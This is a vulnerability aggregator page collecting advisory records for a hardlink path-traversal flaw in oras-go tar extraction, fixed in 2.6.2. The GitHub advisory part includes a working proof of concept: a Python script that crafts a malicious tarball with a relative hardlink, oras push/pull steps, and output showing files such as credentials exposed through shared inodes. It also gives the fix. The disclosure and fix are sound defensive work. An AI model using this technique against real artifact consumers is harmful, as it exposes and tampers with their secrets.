oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Source published

17 Jul 2026 19:36:01 UTC

Source modified

20 Jul 2026 15:01:16 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Source published

17 Jul 2026 20:17:23 UTC

Source modified

24 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 12:17:38 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

### Root cause The tar-extraction helper `ensureLinkPath` at [`content/file/utils.go:262-275`](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved `target` string back to the caller: ```go func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION } if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil // <-- returns the ORIGINAL target, not the validated path } ``` The caller for `TypeLink` hardlinks then does: ```go case tar.TypeLink: var target string if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(target, filePath) } ``` `os.Link(oldname, newname)` wraps the `link(2)` system call. From the `link(2)` man page: > oldpath and newpath are interpreted relative to the current working directory of the calling process. So when `target` (i.e., `header.Linkname`) is a **relative** path, `os.Link` resolves it against the process's **current working directory**, not against `filepath.Dir(link)` as the validation assumed. ### Attack An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via `oras pull`) crafts a tarball layer with: - A regular file: `payload.tar.gz/README.txt`. - A hardlink entry: `Typeflag=TypeLink`, `Name=payload.tar.gz/evil_cwd_link`, `Linkname="victim.secret"` (relative). and marks the layer descriptor with `io.deis.oras.content.unpack: "true"` (a standard annotation that tells `oras-go` to auto-extract). When a victim runs `oras pull` (or any Go code using `content.File`), the extraction: 1. Validates `payload.tar.gz/evil_cwd_link` — passes. 2. Calls `ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret")`: - `path = filepath.Join(filepath.Dir(filePath), "victim.secret")` = `<extract_base>/payload.tar.gz/victim.secret` → inside base → **validation passes**. - Returns `target = "victim.secret"` (NOT `path`). 3. Calls `os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link")`. 4. `link(2)` resolves relative `oldname="victim.secret"` against process CWD → creates a hardlink inside the extract tree pointing to `<invoker_CWD>/victim.secret`. The resulting hardlink and the CWD file **share an inode** — reading one reads the other; writing to one writes to the other. --- ## Proof of Concept Tested on Ubuntu 24.04.4 LTS with `oras` CLI v1.3.0 (SHA-256 `040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4`, downloaded from <https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz>). Reproduction script (standalone, ~50 lines) attached. Summary of key steps: ```bash # 1. Place victim file in the future CWD. mkdir -p cwd-space extract echo "TOP SECRET FROM CWD" > cwd-space/victim.secret # 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE. python3 -c ' import tarfile, io, os with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t: info = tarfile.TarInfo(name="payload.tar.gz/README.txt") c = b"pulled from registry"; info.size = len(c); info.mode = 0o644 info.uid = os.getuid(); info.gid = os.getgid() t.addfile(info, io.BytesIO(c)) link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link") link.type = tarfile.LNKTYPE link.linkname = "victim.secret" # RELATIVE link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid() t.addfile(link) ' # 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space. (cd cwd-space && oras push --oci-layout ../layout:v1 \ payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip) # ... patch layout/blobs/sha256/<manifest> to add # io.deis.oras.content.unpack: "true" on layers[0].annotations ... (cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract) # 4. Observe inode sharing. stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160 stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME) cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD" ``` Observed output: ``` evil_cwd_link (inside extract dir): inode=6554160 victim.secret (in invoker CWD): inode=6554160 *** ESCAPE CONFIRMED *** Reading through the extract-dir hardlink yields the CWD file contents: TOP SECRET FROM CWD ``` A library-level regression test is also provided (`poc_test.go`) that drops into `content/file/utils_test.go` and runs via `go test ./content/file/... -run TestPoC` — output shows identical inode match for consumers of the library API. --- ## Impact **Primary: arbitrary-CWD-file read primitive.** An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using `oras-go/v2/content/file`, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim. **Secondary: inode-sharing tampering primitive.** Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on. **High-severity chains:** - **CI pipelines** where `oras pull` runs from a project workspace containing secrets/credentials (`.env`, `.git/config`, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published. - **Container orchestration** where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary. - **Kubernetes operators / Flux source-controller** using `oras-go` to fetch artifacts; their CWD is typically `/` or `/root` — very sensitive. - **Multi-tenant registry proxies** that use `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state. **Not affected:** - `oras push` (tarball creation side): `tarDirectory` in the same file explicitly skips hardlink generation (line 65 comment: `"We don't support hard links and treat it as regular files"`), so pushed content cannot trigger this on the server. - Symlink extraction path (`TypeSymlink`): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-`target` is correct for symlinks (the existing validation correctly models the symlink-follow path). ### Attack-surface boundary (`fs.protected_hardlinks`) On Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` additionally requires the linking user to have READ + WRITE permission on the source file (per `may_linkat()` in the kernel). Verified on Ubuntu 24.04: as non-root, `ln /etc/passwd /tmp/x` returns `EPERM`, and the same via the oras PoC path returns `link passwd /tmp/.../evil_passwd: operation not permitted`. **So the attacker cannot use this bug to read arbitrary root-owned files (e.g., `/etc/shadow`) when the victim invokes `oras pull` as a regular user.** The attack surface depends on the invocation context: | Invocation context | Reachable file classes | |---|---| | `oras pull` run by a regular user | Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files. | | `oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator) | **Every file on the host filesystem.** `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys. | The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution. --- ## Proposed fix Change `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the `TypeLink` case use the resolved path. ```go // Current behavior preserved for TypeSymlink. TypeLink switches to the resolved // path to avoid CWD-resolution mismatch at os.Link time. func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", "", err } return target, path, nil } ``` ```go case tar.TypeLink: var absTarget string if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(absTarget, filePath) } case tar.TypeSymlink: var symTarget string symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname) if err != nil { return err } if err = os.Symlink(symTarget, filePath); err != nil { ... } ``` **Regression test to add:** Extend `Test_extractTarDirectory_HardLink` with a third sub-test that: 1. Creates a sentinel file in the test's `t.TempDir()` (or an explicitly `os.Chdir`-entered directory) with a known name, e.g. `sentinel.txt`. 2. Builds a tarball containing a `TypeLink` entry with `Linkname: "sentinel.txt"` (relative). 3. Extracts. 4. Asserts either `extractTarDirectory` returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.

Source published

1 Jul 2026 21:48:04 UTC

Source modified

10 Sep 2026 03:50:51 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Publisher rating · HIGH

Hardlink path traversal during tar extraction in oras.land/oras-go

Source published

24 Jul 2026 18:35:55 UTC

Source modified

29 Jul 2026 03:44:57 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.